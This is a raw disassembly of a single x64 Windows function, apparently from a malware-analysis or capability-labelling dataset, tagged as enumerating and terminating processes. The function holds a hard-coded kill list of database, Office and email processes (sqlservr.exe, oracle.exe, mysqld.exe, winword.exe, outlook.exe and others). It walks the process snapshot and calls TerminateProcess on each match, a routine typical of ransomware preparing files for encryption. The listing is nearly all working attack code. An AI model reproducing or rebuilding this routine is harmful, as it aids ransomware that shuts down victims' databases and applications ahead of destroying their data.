Function at 0x1400082a0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x990
mov qword [r11 - 0x2b0], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov rax, qword [0x1402e7080]
xor rax, rsp
mov qword [rsp + 0x988], rax
xor eax, eax
mov qword [r11 - 0x68], rax
mov qword [r11 - 0x60], rax
mov qword [r11 - 0x58], rax
mov qword [r11 - 0x50], rax
xor edi, edi
mov qword [r11 - 0x908], rdi
mov qword [r11 - 0x8f0], rdi
mov qword [r11 - 0x8e8], rdi
lea ecx, [rax + 0x10]
call fcn.140004af0
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x90]
mov rax, qword [rsp + 0x90]
mov qword [rax], rcx
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], 7
mov word [rsp + 0x98], di
lea r8d, [rdi + 7]
lea rdx, str.sql.exe
lea rcx, [rsp + 0x90]
call fcn.140013c40
nop
mov qword [rsp + 0xb8], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0xd0], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0xb8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rsp + 0xb8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0xd0], xmm0
mov word [rsp + 0xc0], di
lea r8d, [rdi + 0xa]
lea rdx, str.dbsnmp.exe
lea rcx, [rsp + 0xb8]
call fcn.140013c40
nop
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xf8], rdi
mov qword [rsp + 0x100], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0xe0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0xe0]
mov rax, qword [rsp + 0xe0]
mov qword [rax], rcx
mov qword [rsp + 0xf8], rdi
mov qword [rsp + 0x100], 7
mov word [rsp + 0xe8], di
lea r8d, [rdi + 0xf]
lea rdx, str.isqlplussvc.exe
lea rcx, [rsp + 0xe0]
call fcn.140013c40
nop
mov qword [rsp + 0x108], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x120], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x108], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x108]
mov rax, qword [rsp + 0x108]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x120], xmm0
mov word [rsp + 0x110], di
lea r8d, [rdi + 0xd]
lea rdx, str.xfssvccon.exe
lea rcx, [rsp + 0x108]
call fcn.140013c40
nop
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x130], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x130]
mov rax, qword [rsp + 0x130]
mov qword [rax], rcx
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], 7
mov word [rsp + 0x138], di
lea r8d, [rdi + 0x14]
lea rdx, str.mydesktopservice.exe
lea rcx, [rsp + 0x130]
call fcn.140013c40
nop
mov qword [rsp + 0x158], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x170], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x158], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x158]
mov rax, qword [rsp + 0x158]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x170], xmm0
mov word [rsp + 0x160], di
lea r8d, [rdi + 0xe]
lea rdx, str.ocautoupds.exe
lea rcx, [rsp + 0x158]
call fcn.140013c40
nop
mov qword [rsp + 0x180], rdi
mov qword [rsp + 0x198], rdi
mov qword [rsp + 0x1a0], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x180], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x180]
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov qword [rsp + 0x198], rdi
mov qword [rsp + 0x1a0], 7
mov word [rsp + 0x188], di
lea r8d, [rdi + 0xa]
lea rdx, str.encsvc.exe
lea rcx, [rsp + 0x180]
call fcn.140013c40
nop
mov qword [rsp + 0x1a8], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x1c0], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x1a8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1a8]
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x1c0], xmm0
mov word [rsp + 0x1b0], di
lea r8d, [rdi + 0xf]
lea rdx, str.tbirdconfig.exe
lea rcx, [rsp + 0x1a8]
call fcn.140013c40
nop
mov qword [rsp + 0x1d0], rdi
mov qword [rsp + 0x1e8], rdi
mov qword [rsp + 0x1f0], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x1d0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1d0]
mov rax, qword [rsp + 0x1d0]
mov qword [rax], rcx
mov qword [rsp + 0x1e8], rdi
mov qword [rsp + 0x1f0], 7
mov word [rsp + 0x1d8], di
lea r8d, [rdi + 0x10]
lea rdx, str.mydesktopqos.exe
lea rcx, [rsp + 0x1d0]
call fcn.140013c40
nop
mov qword [rsp + 0x1f8], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x210], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x1f8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1f8]
mov rax, qword [rsp + 0x1f8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x210], xmm0
mov word [rsp + 0x200], di
lea r8d, [rdi + 9]
lea rdx, str.ocomm.exe
lea rcx, [rsp + 0x1f8]
call fcn.140013c40
nop
mov qword [rsp + 0x220], rdi
mov qword [rsp + 0x238], rdi
mov qword [rsp + 0x240], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x220], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x220]
mov rax, qword [rsp + 0x220]
mov qword [rax], rcx
mov qword [rsp + 0x238], rdi
mov qword [rsp + 0x240], 7
mov word [rsp + 0x228], di
lea r8d, [rdi + 0xb]
lea rdx, str.dbeng50.exe
lea rcx, [rsp + 0x220]
call fcn.140013c40
nop
mov qword [rsp + 0x248], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x260], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x248], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x248]
mov rax, qword [rsp + 0x248]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x260], xmm0
mov word [rsp + 0x250], di
lea r8d, [rdi + 0x12]
lea rdx, str.sqbcoreservice.exe
lea rcx, [rsp + 0x248]
call fcn.140013c40
nop
mov qword [rsp + 0x270], rdi
mov qword [rsp + 0x288], rdi
mov qword [rsp + 0x290], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x270], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x270]
mov rax, qword [rsp + 0x270]
mov qword [rax], rcx
mov qword [rsp + 0x288], rdi
mov qword [rsp + 0x290], 7
mov word [rsp + 0x278], di
lea r8d, [rdi + 9]
lea rdx, str.excel.exe
lea rcx, [rsp + 0x270]
call fcn.140013c40
nop
mov qword [rsp + 0x298], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x2b0], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x298], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x298]
mov rax, qword [rsp + 0x298]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x2b0], xmm0
mov word [rsp + 0x2a0], di
lea r8d, [rdi + 0xc]
lea rdx, str.infopath.exe
lea rcx, [rsp + 0x298]
call fcn.140013c40
nop
mov qword [rsp + 0x2c0], rdi
mov qword [rsp + 0x2d8], rdi
mov qword [rsp + 0x2e0], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x2c0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x2c0]
mov rax, qword [rsp + 0x2c0]
mov qword [rax], rcx
mov qword [rsp + 0x2d8], rdi
mov qword [rsp + 0x2e0], 7
mov word [rsp + 0x2c8], di
lea r8d, [rdi + 0xc]
lea rdx, str.msaccess.exe
lea rcx, [rsp + 0x2c0]
call fcn.140013c40
nop
mov qword [rsp + 0x2e8], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x300], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x2e8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x2e8]
mov rax, qword [rsp + 0x2e8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x300], xmm0
mov word [rsp + 0x2f0], di
lea r8d, [rdi + 9]
lea rdx, str.mspub.exe
lea rcx, [rsp + 0x2e8]
call fcn.140013c40
nop
mov qword [rsp + 0x310], rdi
mov qword [rsp + 0x328], rdi
mov qword [rsp + 0x330], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x310], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x310]
mov rax, qword [rsp + 0x310]
mov qword [rax], rcx
mov qword [rsp + 0x328], rdi
mov qword [rsp + 0x330], 7
mov word [rsp + 0x318], di
lea r8d, [rdi + 0xb]
lea rdx, str.onenote.exe
lea rcx, [rsp + 0x310]
call fcn.140013c40
nop
mov qword [rsp + 0x338], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x350], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x338], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x338]
mov rax, qword [rsp + 0x338]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x350], xmm0
mov word [rsp + 0x340], di
lea r8d, [rdi + 0xb]
lea rdx, str.outlook.exe
lea rcx, [rsp + 0x338]
call fcn.140013c40
nop
mov qword [rsp + 0x360], rdi
mov qword [rsp + 0x378], rdi
mov qword [rsp + 0x380], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x360], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x360]
mov rax, qword [rsp + 0x360]
mov qword [rax], rcx
mov qword [rsp + 0x378], rdi
mov qword [rsp + 0x380], 7
mov word [rsp + 0x368], di
lea r8d, [rdi + 0xc]
lea rdx, str.powerpnt.exe
lea rcx, [rsp + 0x360]
call fcn.140013c40
nop
mov qword [rsp + 0x388], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x3a0], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x388], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x388]
mov rax, qword [rsp + 0x388]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x3a0], xmm0
mov word [rsp + 0x390], di
lea r8d, [rdi + 0xa]
lea rdx, str.thebat.exe
lea rcx, [rsp + 0x388]
call fcn.140013c40
nop
mov qword [rsp + 0x3b0], rdi
mov qword [rsp + 0x3c8], rdi
mov qword [rsp + 0x3d0], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x3b0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x3b0]
mov rax, qword [rsp + 0x3b0]
mov qword [rax], rcx
mov qword [rsp + 0x3c8], rdi
mov qword [rsp + 0x3d0], 7
mov word [rsp + 0x3b8], di
lea r8d, [rdi + 0xf]
lea rdx, str.thunderbird.exe
lea rcx, [rsp + 0x3b0]
call fcn.140013c40
nop
mov qword [rsp + 0x3d8], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x3f0], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x3d8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x3d8]
mov rax, qword [rsp + 0x3d8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x3f0], xmm0
mov word [rsp + 0x3e0], di
lea r8d, [rdi + 9]
lea rdx, str.visio.exe
lea rcx, [rsp + 0x3d8]
call fcn.140013c40
nop
mov qword [rsp + 0x400], rdi
mov qword [rsp + 0x418], rdi
mov qword [rsp + 0x420], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x400], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x400]
mov rax, qword [rsp + 0x400]
mov qword [rax], rcx
mov qword [rsp + 0x418], rdi
mov qword [rsp + 0x420], 7
mov word [rsp + 0x408], di
lea r8d, [rdi + 0xb]
lea rdx, str.winword.exe
lea rcx, [rsp + 0x400]
call fcn.140013c40
nop
mov qword [rsp + 0x428], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x440], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x428], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x428]
mov rax, qword [rsp + 0x428]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x440], xmm0
mov word [rsp + 0x430], di
lea r8d, [rdi + 0xb]
lea rdx, str.wordpad.exe
lea rcx, [rsp + 0x428]
call fcn.140013c40
nop
mov qword [rsp + 0x450], rdi
mov qword [rsp + 0x468], rdi
mov qword [rsp + 0x470], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x450], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x450]
mov rax, qword [rsp + 0x450]
mov qword [rax], rcx
mov qword [rsp + 0x468], rdi
mov qword [rsp + 0x470], 7
mov word [rsp + 0x458], di
lea r8d, [rdi + 0xd]
lea rdx, str.sqlwriter.exe
lea rcx, [rsp + 0x450]
call fcn.140013c40
nop
mov qword [rsp + 0x478], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x490], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x478], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x478]
mov rax, qword [rsp + 0x478]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x490], xmm0
mov word [rsp + 0x480], di
lea r8d, [rdi + 0xa]
lea rdx, str.oracle.exe
lea rcx, [rsp + 0x478]
call fcn.140013c40
nop
mov qword [rsp + 0x4a0], rdi
mov qword [rsp + 0x4b8], rdi
mov qword [rsp + 0x4c0], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x4a0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x4a0]
mov rax, qword [rsp + 0x4a0]
mov qword [rax], rcx
mov qword [rsp + 0x4b8], rdi
mov qword [rsp + 0x4c0], 7
mov word [rsp + 0x4a8], di
lea r8d, [rdi + 9]
lea rdx, str.ocssd.exe
lea rcx, [rsp + 0x4a0]
call fcn.140013c40
nop
mov qword [rsp + 0x4c8], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x4e0], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x4c8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x4c8]
mov rax, qword [rsp + 0x4c8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x4e0], xmm0
mov word [rsp + 0x4d0], di
lea r8d, [rdi + 0xa]
lea rdx, str.mysqld.exe
lea rcx, [rsp + 0x4c8]
call fcn.140013c40
nop
mov qword [rsp + 0x4f0], rdi
mov qword [rsp + 0x508], rdi
mov qword [rsp + 0x510], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x4f0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x4f0]
mov rax, qword [rsp + 0x4f0]
mov qword [rax], rcx
mov qword [rsp + 0x508], rdi
mov qword [rsp + 0x510], 7
mov word [rsp + 0x4f8], di
lea r8d, [rdi + 0xd]
lea rdx, str.mysqld_nt.exe
lea rcx, [rsp + 0x4f0]
call fcn.140013c40
nop
mov qword [rsp + 0x518], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x530], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x518], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x518]
mov rax, qword [rsp + 0x518]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x530], xmm0
mov word [rsp + 0x520], di
lea r8d, [rdi + 0xe]
lea rdx, str.mysqld_opt.exe
lea rcx, [rsp + 0x518]
call fcn.140013c40
nop
mov qword [rsp + 0x540], rdi
mov qword [rsp + 0x558], rdi
mov qword [rsp + 0x560], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x540], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x540]
mov rax, qword [rsp + 0x540]
mov qword [rax], rcx
mov qword [rsp + 0x558], rdi
mov qword [rsp + 0x560], 7
mov word [rsp + 0x548], di
lea r8d, [rdi + 0xe]
lea rdx, str.sqlbrowser.exe
lea rcx, [rsp + 0x540]
call fcn.140013c40
nop
mov qword [rsp + 0x568], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x580], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x568], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x568]
mov rax, qword [rsp + 0x568]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x580], xmm0
mov word [rsp + 0x570], di
lea r8d, [rdi + 0xc]
lea rdx, str.sqlagent.exe
lea rcx, [rsp + 0x568]
call fcn.140013c40
nop
mov qword [rsp + 0x590], rdi
mov qword [rsp + 0x5a8], rdi
mov qword [rsp + 0x5b0], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x590], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x590]
mov rax, qword [rsp + 0x590]
mov qword [rax], rcx
mov qword [rsp + 0x5a8], rdi
mov qword [rsp + 0x5b0], 7
mov word [rsp + 0x598], di
lea r8d, [rdi + 0xc]
lea rdx, str.msftesql.exe
lea rcx, [rsp + 0x590]
call fcn.140013c40
nop
mov qword [rsp + 0x5b8], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x5d0], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x5b8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x5b8]
mov rax, qword [rsp + 0x5b8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x5d0], xmm0
mov word [rsp + 0x5c0], di
lea r8d, [rdi + 0xd]
lea rdx, str.sqlserver.exe
lea rcx, [rsp + 0x5b8]
call fcn.140013c40
nop
mov qword [rsp + 0x5e0], rdi
mov qword [rsp + 0x5f8], rdi
mov qword [rsp + 0x600], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x5e0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x5e0]
mov rax, qword [rsp + 0x5e0]
mov qword [rax], rcx
mov qword [rsp + 0x5f8], rdi
mov qword [rsp + 0x600], 7
mov word [rsp + 0x5e8], di
lea r8d, [rdi + 0xb]
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x5e0]
call fcn.140013c40
nop
mov qword [rsp + 0x608], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x620], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x608], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x608]
mov rax, qword [rsp + 0x608]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x620], xmm0
mov word [rsp + 0x610], di
lea r8d, [rdi + 0x12]
lea rdx, str.fb_inet_server.exe
lea rcx, [rsp + 0x608]
call fcn.140013c40
nop
mov qword [rsp + 0x630], rdi
mov qword [rsp + 0x648], rdi
mov qword [rsp + 0x650], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x630], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x630]
mov rax, qword [rsp + 0x630]
mov qword [rax], rcx
mov qword [rsp + 0x648], rdi
mov qword [rsp + 0x650], 7
mov word [rsp + 0x638], di
lea r8d, [rdi + 0xc]
lea rdx, str.sqlservr.exe
lea rcx, [rsp + 0x630]
call fcn.140013c40
nop
mov qword [rsp + 0x658], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x670], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x658], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x658]
mov rax, qword [rsp + 0x658]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x670], xmm0
mov word [rsp + 0x660], di
lea r8d, [rdi + 0xb]
lea rdx, str.sqlceip.exe
lea rcx, [rsp + 0x658]
call fcn.140013c40
nop
mov qword [rsp + 0x680], rdi
mov qword [rsp + 0x698], rdi
mov qword [rsp + 0x6a0], rdi
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x680], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x680]
mov rax, qword [rsp + 0x680]
mov qword [rax], rcx
mov qword [rsp + 0x698], rdi
mov qword [rsp + 0x6a0], 7
mov word [rsp + 0x688], di
lea r8d, [rdi + 0xc]
lea rdx, str.T8Server.exe
lea rcx, [rsp + 0x680]
call fcn.140013c40
nop
mov qword [rsp + 0x6a8], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x6c0], xmm0
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x6a8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x6a8]
mov rax, qword [rsp + 0x6a8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x6c0], xmm0
mov word [rsp + 0x6b0], di
lea r8d, [rdi + 0xc]
lea rdx, str.OMailRpt.exe
lea rcx, [rsp + 0x6a8]
call fcn.140013c40
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x930], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x940], xmm1
lea ecx, [rdi + 0x10]
call fcn.140004af0
mov qword [rsp + 0x930], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x930]
mov rax, qword [rsp + 0x930]
mov qword [rax], rcx
lea r8, [rsp + 0x6d0]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x930]
call fcn.1400169f0
nop
lea r9, [fcn.140006f60]
mov edx, 0x28
mov r8d, edx
lea rcx, [rsp + 0x90]
call fcn.140068740
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov qword [rsp + 0x80], rax
cmp rax, 0xffffffffffffffff
je 0x1400098c7
mov dword [rsp + 0x6f0], 0x238
lea rdx, [rsp + 0x6f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1400098b5
mov qword [rsp + 0x950], rdi
mov qword [rsp + 0x968], rdi
mov qword [rsp + 0x970], rdi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x950], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x950]
mov rax, qword [rsp + 0x950]
mov qword [rax], rcx
mov qword [rsp + 0x968], rdi
mov qword [rsp + 0x970], 7
mov word [rsp + 0x958], di
lea rax, [rsp + 0x71c]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140009600
lea rdx, [rsp + 0x71c]
lea rcx, [rsp + 0x950]
call fcn.140013c40
nop
lea rax, [rsp + 0x958]
cmp qword [rsp + 0x970], 8
cmovae rax, qword [rsp + 0x958]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x950]
lea rcx, [rsp + 0x50]
call fcn.140005010
lea rcx, [rsp + 0x958]
cmp qword [rsp + 0x970], 8
cmovae rcx, qword [rsp + 0x958]
mov rax, qword [rsp + 0x968]
lea rcx, [rcx + rax*2]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x950]
lea rcx, [rsp + 0x68]
call fcn.140005010
lea rax, [rsp + 0x958]
cmp qword [rsp + 0x970], 8
cmovae rax, qword [rsp + 0x958]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x950]
lea rcx, [rsp + 0x30]
call fcn.140005010
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x6d0]
call fcn.140015f40
nop
mov edx, 3
lea rcx, [rsp + 0x978]
call fcn.14002d5d0
lea rcx, [rsp + 0x6d0]
call fcn.1400050c0
lea rcx, [rsp + 0x978]
call fcn.14002d6a0
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov rax, qword [rsp + 0x940]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x930]
lea rcx, [rsp + 0x68]
call fcn.140005010
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov rax, qword [rsp + 0x938]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x930]
lea rcx, [rsp + 0x50]
call fcn.140005010
lea r9, [rsp + 0x950]
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x6d0]
call fcn.140015de0
mov rbx, rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov rcx, qword [rsp + 0x940]
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x930]
lea rcx, [rsp + 0x30]
call fcn.140005010
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.1400111b0
test al, al
sete bl
mov edx, 3
lea rcx, [rsp + 0x97c]
call fcn.14002d5d0
lea rcx, [rsp + 0x30]
call fcn.1400050c0
lea rcx, [rsp + 0x97c]
call fcn.14002d6a0
nop
mov edx, 3
lea rcx, [rsp + 0x980]
call fcn.14002d5d0
lea rcx, [rsp + 0x6d0]
call fcn.1400050c0
lea rcx, [rsp + 0x980]
call fcn.14002d6a0
nop
test bl, bl
je 0x14000986b
mov r8d, dword [rsp + 0x6f8]
xor edx, edx
mov ecx, 0x411
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000986b
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0x1770
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x950]
call fcn.140013b90
lea rcx, [rsp + 0x950]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x950]
call fcn.140068260
nop
jmp 0x1400098a4
lea rdx, [rsp + 0x6f0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140009590
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x930]
call fcn.140013770
lea rcx, [rsp + 0x930]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x930]
call fcn.140068260
